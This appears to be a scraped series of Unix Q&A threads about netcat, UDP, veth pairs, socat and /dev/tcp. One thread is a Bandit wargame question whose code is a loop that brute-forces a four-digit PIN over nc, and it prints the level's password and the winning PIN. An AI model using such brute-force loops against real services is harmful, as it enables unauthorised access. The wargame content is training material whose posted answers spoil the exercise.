Be sure to set file permissions while opening the file. Ex:
int file = open("my_binary_packet.bin", O_WRONLY | O_CREAT, 0644);
And here is what the struct definition looks like. The my_binary_packet.bin file literally just contains a byte-for-byte copy of this struct inside that binary packet, after I set particular, required values for each member of the struct:
struct __attribute__((__packed__)) my_packet {
bool flag1;
bool flag2;
bool flag3;
};
Full code to open the file, create the packet, and write the binary packet to a file might look like this:
typedef struct __attribute__((__packed__)) my_packet_s {
bool flag1;
bool flag2;
bool flag3;
} my_packet_t;
int file = open("my_binary_packet.bin", O_WRONLY | O_CREAT, 0644);
if (file == -1)
{
printf("Failed to open. errno = %i: %s\n", errno, strerror(errno));
return;
}
my_packet_t my_packet =
{
.flag1 = true,
.flag2 = true,
.flag3 = true,
};
ssize_t num_bytes_written = write(file, &my_packet, sizeof(my_packet));
if (num_bytes_written == -1)
{
printf("Failed to write. errno = %i: %s\n", errno, strerror(errno));
return;
}
int retcode = close(file);
if (retcode == -1)
{
printf("Failed to close. errno = %i: %s\n", errno, strerror(errno));
return;
}
For anyone who wants to learn how to program Berkeley sockets in C or C++...
I wrote this really thorough demo in my eRCaGuy_hello_world repo. This server code is what my UDP listener process is based on:
socket__geeksforgeeks_udp_server_GS_edit_GREAT.c
socket__geeksforgeeks_udp_client_GS_edit_GREAT.c
References
The comments under my question.
There are many versions of netcat: Netcat - How to listen on a TCP port using IPv6 address?
This answer, and my comment here: Error receiving in UDP: Connection refused
See also
My answer on General netcat (nc) usage instructions, including setting the IP address to bind to when receiving, or to send to when sending
| "Connection refused" when I try to send a UDP packet with netcat on an embedded-linux board |
1,517,332,876,000 |
I want to connect to a port on a specific IP address without the use of netcat. I don't know of any method that would get the same result.
Below is me connecting to a port with netcat:
The above shows me connecting to port 22 (SSH) to a specific host. I basically want to achieve the same result but without the use of netcat.
|
The obvious answer would be telnet host.example.com port (e. g. telnet www.example.com 80).
Another possibility is /dev/tcp:
$ echo "HEAD / HTTP/1.0" >/dev/tcp/www.example.com/80
| Connect to a port without use of netcat - alternatives |
1,517,332,876,000 |
I want to connect to instances of netcat through a veth(4) device pair.
Thus, I create the veth pair using ip as follows:
ip link add eth0 type veth peer name eth1
ip addr add 10.0.0.1/24 dev eth0
ip addr add 10.0.0.2/24 dev eth1
ip addr show eth0
13: eth0@eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP mode DEFAULT group default qlen 1000
link/ether 8a:74:8f:e7:dd:cd brd ff:ff:ff:ff:ff:ff
ip addr show eth1
14: eth1@eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP mode DEFAULT group default qlen 1000
link/ether a2:7e:07:be:9a:e2 brd ff:ff:ff:ff:ff:ff
In the above, I need to assign the veth devices an IP address, since netcat will only listen on an IP address, not a raw network device.
However, after starting a netcat listener on eth0 in a terminal and attempting to connect to it from another terminal, I receive no connection in the first terminal:
netcat -n -vvvv -l -s 10.0.0.1 -p 8080
netcat -n -vvv 10.0.0.1 8080 # timeout
netcat -n -vvv 10.0.0.2 8080 # timeout
Looking in the routing table, it seems that ip created rules for the veth pair automatically:
ip route
default via 10.211.55.1 dev enp0s5 proto static metric 100
10.0.0.0/24 dev eth0 proto kernel scope link src 10.0.0.1
10.0.0.0/24 dev eth1 proto kernel scope link src 10.0.0.2
...
What am I doing wrong?
|
I see they are meant to be put in different network namespaces, but can you tell me why it doesn’t work in a single namespace, when both veth pairs have been assigned IP addresses?
The following things likely all go wrong:
An application listening to an address will process any incoming packet for this address, no matter where it comes from. So the packet could come from either end, or even from a completely different network interface (e.g. eth0).
If the Linux kernel detects a destination address that is local, it will process this as a local packet, so it will never go through the veth-pair.
If the Linux kernel packet detects an incoming packet with a local source address that is not local (i.e., comes through the veth-pair), it considers this a routing error, because under normal circumstances this means there's a routing loop somewhere in the network. To avoid network flooding, this packet gets dropped.
The same things would happen if your computer had two LAN network interfaces (eth0 and eth1), and you connect them with a LAN-cable.
So, if you want to play with veth-pairs, create network namespaces.
| How to connect two instances of netcat through a veth device pair? |
1,517,332,876,000 |
I'm trying to reverse engineer a wifi webcam that connects to an Android app. I sniffed the traffic and found that the transaction is initiated when the app sends a series of 8 UDP packets, at which point the camera will stream video to the phone as a series of UDP packets. I want to send the 8 initiation packets to the camera from my computer to see if I can get the camera to stream to my computer. It looks like netcat could be useful, but the data isn't nice ASCII strings as in the netcat examples I've found. The data is actually
4a:48:43:4d:44:d0:02
4a:48:43:4d:44:d0:02
4a:48:43:4d:44:d0:02
4a:48:43:4d:44:20:00:00:00:00:00
4a:48:43:4d:44:20:00:00:00:00:00
4a:48:43:4d:44:10:00
4a:48:43:4d:44:d0:01
4a:48:43:4d:44:d0:01
How can I send UDP packets with this data to a specific IP address and port in less than 0.2s, ideally with a simple CL tool?
|
This task isn't very well suited for doing via command line utilities - you'd be better off doing it in something like Perl or Python if you can, where the networking APIs are much richer.
That being said ... you could certainly use netcat to send your packets, piping the hex data into something like xxd (part of the vim-common package on RHEL/CentOS/Fedora - YMMV if you're using a different Linux distro than that...).
There's a tool called PacketSender (that I admit I haven't actually used, but it looks interesting) that includes command-line functionality to do what you want - the challenge is that I'm not aware of it being packaged for any Linux distros, so you'd either have to build it from source yourself, or use the author's pre-packaged AppImage release if your distro can use that.
| Sending multiple packets of hex data with UDP |
1,517,332,876,000 |
I am doing the bandit wargame of OverTheWire and am trying to pass level 24 -> 25. I successfully got the password with the script below but I'd like to recover the successful pin. I tried implementing a counter but was unsuccessful. Do you have any idea on how I could proceed ?
Code:
for i in {0000..9999};
do
echo UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i;
done | nc localhost 30002
|
Actually this answer lets you to correctly guess the pin. It is currently the only answer in the mentioned page which is useful for your problem.
Using that script, every output line from nc generates a new line in file f.txt. The first line of f.txt is
I am the pincode checker for user...
and it doesn't count. The second line corresponds to pin 0000. So, the nth line corresponds to pin n - 2. If you run the script, line 2590 contains the word Correct!, which means that the pin is 2590 - 2 = 2588. This is confirmed by the file
-rw-r----- 1 bandit25 bandit25 4 May 14 14:04 .pin
in the bandit25 home directory.
I do not think this question is duplicate, because here the pin is explicitly requested, while in the linked question it is not. Moreover, the linked question has not yet a chosen answer, which may create confusion between the readers: it's not trivial to guess which of the 6 answers is the actually suitable one.
| Keep track of successful pin in Bandit CTF 24 to 25 [duplicate] |
1,517,332,876,000 |
The idea I have is to make a netcat server, and when you connect to it, the server runs a python script with which the user can interact. So for example the script asks for a number, and it outputs that number to the power of 3.
How can you do that? How do you run a program and redirect the output to the connected user and make them able to interact with it in real time?
Pseudo output:
$ nc 192.168.1.13
Input a number: 2
8
(end)
The script:
print(str(int(input("Input a number: "))**3))
|
socat TCP-LISTEN:50011,fork EXEC:'/path/to/script',stderr,pty,echo=0
Notes:
50011 is the listening port, you can choose your own. Connect to it later, e.g. nc 127.0.0.1 50011.
fork allows socat to serve to many clients (also simultaneously).
Without pty it's normal to get Input a number: only after you actually provided input blindly.
My tests indicate that if one terminates socat with Ctrl+C then the port may stay in use for a while. If it's a problem, consider reuseaddr (i.e. TCP-LISTEN:50011,fork,reuseaddr).
| Making a text based server with netcat or other programs? [closed] |
1,517,332,876,000 |
I've made a small command to send a TCP message to an "IP-relay-unit" that can toggle the outputs.
printf "setstate,1:1,1\r" | nc ip.ip.ip.ip port
This actually works fine, sometimes. Since the printf worked on both linux and mac, I thought it had to do something with netcat. I noted that using -v on netcat improved the amount of times it went right, but this seems like a very dull workaround.
I later found the nc -i option, to add a timeout of 1 sec, which hasn't yet caused an error (on both Linux or OSX), though it does decrease the execution time and still isn't a 100% clean fix.
The man page actually shows that piping into the nc command can be done, it doesn't mention any possible race conditions.
Is this expected behaviour? And is there a clean way of fixing this? (like "--only-send-when-connection-is-complete") or can I actually check if it's a race condition?
|
You can check if there is an active connection with:
nc -v <HOST> <PORT> </dev/null; echo $?
If the above command, returns you the value 0, then the connection is successful and you can printf your message, otherwise (value is 1), then you know that your connection is refused or timed-out etc.
| Using printf with netcat |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.